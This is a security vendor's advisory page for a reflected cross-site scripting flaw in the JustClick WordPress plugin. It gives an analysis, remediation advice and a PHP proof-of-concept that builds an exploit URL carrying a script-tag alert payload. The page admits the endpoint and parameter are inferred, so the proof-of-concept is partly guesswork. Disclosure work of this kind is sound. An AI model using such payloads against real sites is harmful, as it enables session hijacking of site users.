Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13676: JustClick registration plugin <= 0.1 – Reflected Cross-Site Scripting via PHP_SELF (justclick-subscriber)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 0.1
Patched Version
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13676 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the JustClick registration WordPress plugin, version 0.1. The issue resides in the plugin’s insufficient handling of the PHP_SELF server variable. The CVSS score of 6.1 (Medium) reflects an attack that requires user interaction but can lead to script execution in the context of the vulnerable site.

Atomic Edge research identifies the root cause as improper neutralization of user-controllable input (CWE-79). The vulnerability description explicitly states the PHP_SELF variable is used without adequate sanitization or output escaping. This is a confirmed detail from the metadata. The exact plugin file or function where this occurs is inferred. Common WordPress patterns suggest the variable is likely echoed directly within an administrative or front-end form page generated by the plugin.

Exploitation requires an attacker to craft a malicious link containing a JavaScript payload within the PHP_SELF parameter or a related query string. An unauthenticated attacker must trick a victim into clicking the link. The payload executes in the victim’s browser when the plugin page loads and unsafely reflects the attacker-controlled value. A typical proof-of-concept payload would be alert(document.domain) injected into the vulnerable parameter.

Remediation requires proper output escaping or context-appropriate sanitization. The plugin must escape the PHP_SELF variable before echoing it to HTML output. In WordPress, functions like esc_url() or esc_attr() should be used depending on the context. Input validation for server variables is also recommended, though output escaping is the primary defense. No patched version is available, indicating the plugin may be abandoned.

The impact of successful exploitation includes session hijacking, administrative actions performed on behalf of the user, or defacement. Attackers can steal cookies or session tokens, redirect users to malicious sites, or modify page content. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect user sessions within the trusted WordPress site domain.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13676 - JustClick registration plugin <= 0.1 - Reflected Cross-Site Scripting via PHP_SELF
<?php
/**
 * Proof of Concept for CVE-2025-13676.
 * This script generates a malicious link targeting the vulnerable JustClick plugin.
 * The exact endpoint is inferred; the vulnerability likely exists on a plugin-generated page.
 * The payload is a simple alert to demonstrate script execution.
 */

$target_url = 'http://vulnerable-wordpress-site.com/';

// The vulnerable parameter is inferred to be part of the query string affecting PHP_SELF.
// A common pattern is a plugin page that echoes $_SERVER['PHP_SELF'] unsafely.
$vulnerable_parameter = 'page';
$malicious_value = 'justclick-subscriber%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E';

// Construct the exploit URL. The path is assumed to be a WordPress admin or plugin page.
$exploit_url = $target_url . 'wp-admin/admin.php?' . $vulnerable_parameter . '=' . $malicious_value;

echo "Exploit URL:n";
echo $exploit_url . "nn";
echo "Instructions: Visit the URL above while authenticated to the WordPress site.n";
echo "If vulnerable, a JavaScript alert box showing the domain will appear.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School